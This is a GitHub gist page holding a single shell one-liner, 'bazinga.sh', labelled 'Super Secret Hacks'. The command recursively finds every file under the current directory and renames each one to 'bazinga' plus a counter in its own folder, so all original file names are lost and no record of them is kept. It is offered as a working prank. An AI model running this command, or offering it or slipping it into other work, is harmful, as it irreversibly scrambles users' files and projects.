Skip to content

Instantly share code, notes, and snippets.

View Lytigas's full-sized avatar
🎓
Grindin'

Lytigas

🎓
Grindin'
View GitHub Profile
@Lytigas
Lytigas / bazinga.sh
Created August 4, 2018 00:31
Super Secret Hacks
find . -type f | awk 'function dirname (pathname){if (!sub(/\/[^\/]*\/?$/, "", pathname)){ return "." }else if (pathname != ""){ return pathname }else{ return "/" }}{print $1 " " dirname($1) "/bazinga" count++}' | xargs -L 1 mv